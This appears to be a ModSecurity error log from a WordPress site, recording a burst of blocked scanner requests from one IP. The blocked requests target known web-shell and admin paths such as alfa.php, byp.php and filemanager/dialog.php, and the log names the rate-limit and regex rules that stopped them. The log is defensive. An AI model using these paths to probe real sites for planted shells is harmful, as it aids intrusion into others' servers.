[Fri Feb 27 21:41:31.442153 2026] [:error] [pid 49306:tid 49322] [client 20.104.124.39:30004] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaGfC_nSUDZue59Px9s6vAAAAU4"]
[Fri Feb 27 21:41:32.172073 2026] [:error] [pid 62998:tid 63025] [client 20.104.124.39:32469] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaGfDFQeueXZDUmoLollEwAAARc"]
[Fri Feb 27 21:41:32.753848 2026] [:error] [pid 62998:tid 63010] [client 20.104.124.39:32256] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaGfDFQeueXZDUmoLollFwAAAQg"]
[Fri Feb 27 21:41:33.326913 2026] [:error] [pid 49306:tid 49324] [client 20.104.124.39:29999] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaGfDfnSUDZue59Px9s6yQAAAVA"]
[Fri Feb 27 21:41:34.134835 2026] [:error] [pid 49306:tid 49312] [client 20.104.124.39:32504] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaGfDvnSUDZue59Px9s60wAAAUQ"]
[Fri Feb 27 21:41:34.634654 2026] [:error] [pid 52073:tid 52077] [client 20.104.124.39:32229] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaGfDoa650YPyxXVeRaFjgAAAYE"]
[Fri Feb 27 21:41:35.158313 2026] [:error] [pid 49306:tid 49312] [client 20.104.124.39:32429] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaGfD_nSUDZue59Px9s64QAAAUQ"]
[Fri Feb 27 21:41:35.766887 2026] [:error] [pid 56075:tid 56082] [client 20.104.124.39:32425] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaGfD8KBhrfI6KNv9Rj9OQAAAAU"]
[Fri Feb 27 21:41:36.645075 2026] [:error] [pid 56075:tid 56101] [client 20.104.124.39:32408] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaGfEMKBhrfI6KNv9Rj9OwAAABc"]
[Fri Feb 27 21:41:37.344370 2026] [:error] [pid 52073:tid 52076] [client 20.104.124.39:30003] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaGfEYa650YPyxXVeRaFpgAAAYA"]
[Fri Feb 27 21:41:37.963516 2026] [:error] [pid 49306:tid 49319] [client 20.104.124.39:32280] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaGfEfnSUDZue59Px9s68wAAAUs"]
[Fri Feb 27 21:41:38.517857 2026] [:error] [pid 52073:tid 52076] [client 20.104.124.39:30011] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaGfEoa650YPyxXVeRaFtgAAAYA"]
[Fri Feb 27 21:41:39.376666 2026] [:error] [pid 52073:tid 52097] [client 20.104.124.39:29996] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaGfE4a650YPyxXVeRaFvAAAAZU"]
[Fri Feb 27 21:41:39.920993 2026] [:error] [pid 49306:tid 49325] [client 20.104.124.39:29971] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaGfE_nSUDZue59Px9s6_QAAAVE"]
[Fri Feb 27 21:41:40.621079 2026] [:error] [pid 52073:tid 52099] [client 20.104.124.39:29961] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaGfFIa650YPyxXVeRaFzwAAAZc"]
[Fri Feb 27 21:41:41.219852 2026] [:error] [pid 49306:tid 49327] [client 20.104.124.39:32323] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaGfFfnSUDZue59Px9s7CQAAAVM"]
[Fri Feb 27 21:41:41.839800 2026] [:error] [pid 54231:tid 54255] [client 20.104.124.39:30012] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaGfFeTvb5AeyJCdY7Ao4wAAAFU"]
[Fri Feb 27 21:41:42.506590 2026] [:error] [pid 54231:tid 54235] [client 20.104.124.39:32348] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaGfFuTvb5AeyJCdY7Ao6QAAAEE"]
[Fri Feb 27 21:41:43.225334 2026] [:error] [pid 52073:tid 52095] [client 20.104.124.39:32286] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaGfF4a650YPyxXVeRaF4gAAAZM"]
[Fri Feb 27 21:41:43.884524 2026] [:error] [pid 56075:tid 56078] [client 20.104.124.39:29990] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaGfF8KBhrfI6KNv9Rj9VAAAAAE"]
[Fri Feb 27 21:41:44.346927 2026] [:error] [pid 52073:tid 52077] [client 20.104.124.39:29979] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaGfGIa650YPyxXVeRaF7gAAAYE"]
[Fri Feb 27 21:41:44.840752 2026] [:error] [pid 52073:tid 52095] [client 20.104.124.39:29995] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaGfGIa650YPyxXVeRaF8wAAAZM"]
[Fri Feb 27 21:41:45.653378 2026] [:error] [pid 52073:tid 52077] [client 20.104.124.39:29970] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaGfGYa650YPyxXVeRaF_AAAAYE"]
[Fri Feb 27 21:41:46.204268 2026] [:error] [pid 54101:tid 54128] [client 20.104.124.39:32296] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaGfGlY5qgRktcYTGFtQSAAAAdQ"]
[Fri Feb 27 21:41:46.637697 2026] [:error] [pid 56075:tid 56087] [client 20.104.124.39:32282] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaGfGsKBhrfI6KNv9Rj9aAAAAAo"]
[Fri Feb 27 21:41:47.324907 2026] [:error] [pid 56075:tid 56091] [client 20.104.124.39:32234] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaGfG8KBhrfI6KNv9Rj9awAAAA0"]
[Fri Feb 27 21:41:47.990674 2026] [:error] [pid 49306:tid 49323] [client 20.104.124.39:29958] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaGfG_nSUDZue59Px9s7IQAAAU8"]
[Fri Feb 27 21:41:48.742929 2026] [:error] [pid 49306:tid 49314] [client 20.104.124.39:30013] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaGfHPnSUDZue59Px9s7KgAAAUY"]
[Fri Feb 27 21:41:49.511737 2026] [:error] [pid 62998:tid 63015] [client 20.104.124.39:32212] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaGfHVQeueXZDUmoLollNgAAAQ0"]
[Fri Feb 27 21:41:50.123663 2026] [:error] [pid 52073:tid 52086] [client 20.104.124.39:29987] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaGfHoa650YPyxXVeRaGJgAAAYo"]
[Fri Feb 27 21:41:50.629703 2026] [:error] [pid 56075:tid 56093] [client 20.104.124.39:32274] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaGfHsKBhrfI6KNv9Rj9fQAAAA8"]
[Fri Feb 27 21:41:51.212335 2026] [:error] [pid 52073:tid 52084] [client 20.104.124.39:32241] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaGfH4a650YPyxXVeRaGNgAAAYg"]
[Fri Feb 27 21:41:52.186313 2026] [:error] [pid 62998:tid 63004] [client 20.104.124.39:29953] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaGfIFQeueXZDUmoLollOwAAAQI"]
[Fri Feb 27 21:41:52.657493 2026] [:error] [pid 52073:tid 52084] [client 20.104.124.39:32194] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaGfIIa650YPyxXVeRaGRwAAAYg"]
[Fri Feb 27 21:41:53.181125 2026] [:error] [pid 54103:tid 54174] [client 20.104.124.39:32362] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaGfIevG4MPCmE0B2sC3pwAAAMM"]
[Fri Feb 27 21:41:53.712622 2026] [:error] [pid 52073:tid 52094] [client 20.104.124.39:32412] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaGfIYa650YPyxXVeRaGUgAAAZI"]
[Fri Feb 27 21:41:54.364405 2026] [:error] [pid 52073:tid 52092] [client 20.104.124.39:29992] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaGfIoa650YPyxXVeRaGXgAAAZA"]
[Fri Feb 27 21:41:54.874518 2026] [:error] [pid 54103:tid 54182] [client 20.104.124.39:32192] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaGfIuvG4MPCmE0B2sC3qAAAAMs"]
[Fri Feb 27 21:41:55.339770 2026] [:error] [pid 52073:tid 52099] [client 20.104.124.39:32242] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaGfI4a650YPyxXVeRaGbQAAAZc"]
[Fri Feb 27 21:41:55.852629 2026] [:error] [pid 54103:tid 54185] [client 20.104.124.39:32199] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaGfI-vG4MPCmE0B2sC3qQAAAM4"]
[Fri Feb 27 21:41:56.321785 2026] [:error] [pid 56075:tid 56097] [client 20.104.124.39:32259] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaGfJMKBhrfI6KNv9Rj9lwAAABM"]
[Fri Feb 27 21:41:56.828456 2026] [:error] [pid 56075:tid 56087] [client 20.104.124.39:32263] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaGfJMKBhrfI6KNv9Rj9mAAAAAo"]
[Fri Feb 27 21:41:57.260459 2026] [:error] [pid 62998:tid 63018] [client 20.104.124.39:32448] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaGfJVQeueXZDUmoLollUgAAARA"]
[Fri Feb 27 21:41:57.804454 2026] [:error] [pid 56075:tid 56077] [client 20.104.124.39:32314] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaGfJcKBhrfI6KNv9Rj9mwAAAAA"]
[Fri Feb 27 21:41:58.529574 2026] [:error] [pid 54101:tid 54132] [client 20.104.124.39:32385] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaGfJlY5qgRktcYTGFtQSgAAAdg"]
[Fri Feb 27 21:41:59.155731 2026] [:error] [pid 54103:tid 54193] [client 20.104.124.39:32309] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaGfJ-vG4MPCmE0B2sC3rAAAANY"]
[Fri Feb 27 21:41:59.656972 2026] [:error] [pid 56075:tid 56084] [client 20.104.124.39:32312] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaGfJ8KBhrfI6KNv9Rj9ogAAAAc"]
[Fri Feb 27 21:42:00.111754 2026] [:error] [pid 56075:tid 56101] [client 20.104.124.39:30005] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaGfKMKBhrfI6KNv9Rj9owAAABc"]
[Fri Feb 27 21:42:00.596141 2026] [:error] [pid 52073:tid 52099] [client 20.104.124.39:32388] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaGfKIa650YPyxXVeRaGlQAAAZc"]
[Fri Feb 27 21:42:01.142175 2026] [:error] [pid 52073:tid 52078] [client 20.104.124.39:32261] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaGfKYa650YPyxXVeRaGmgAAAYI"]
[Fri Feb 27 21:42:01.700065 2026] [:error] [pid 52073:tid 52088] [client 20.104.124.39:32415] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaGfKYa650YPyxXVeRaGngAAAYw"]
[Fri Feb 27 21:42:02.460635 2026] [:error] [pid 54103:tid 54187] [client 20.104.124.39:32310] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaGfKuvG4MPCmE0B2sC3rQAAANA"]
[Fri Feb 27 21:42:02.881793 2026] [:error] [pid 56075:tid 56101] [client 20.104.124.39:29959] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaGfKsKBhrfI6KNv9Rj9tAAAABc"]
[Fri Feb 27 21:42:03.425234 2026] [:error] [pid 56075:tid 56082] [client 20.104.124.39:32269] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaGfK8KBhrfI6KNv9Rj9uwAAAAU"]
[Fri Feb 27 21:42:03.935281 2026] [:error] [pid 56075:tid 56092] [client 20.104.124.39:32279] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaGfK8KBhrfI6KNv9Rj9wgAAAA4"]
[Fri Feb 27 21:42:04.424011 2026] [:error] [pid 56075:tid 56093] [client 20.104.124.39:32301] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaGfLMKBhrfI6KNv9Rj9ygAAAA8"]
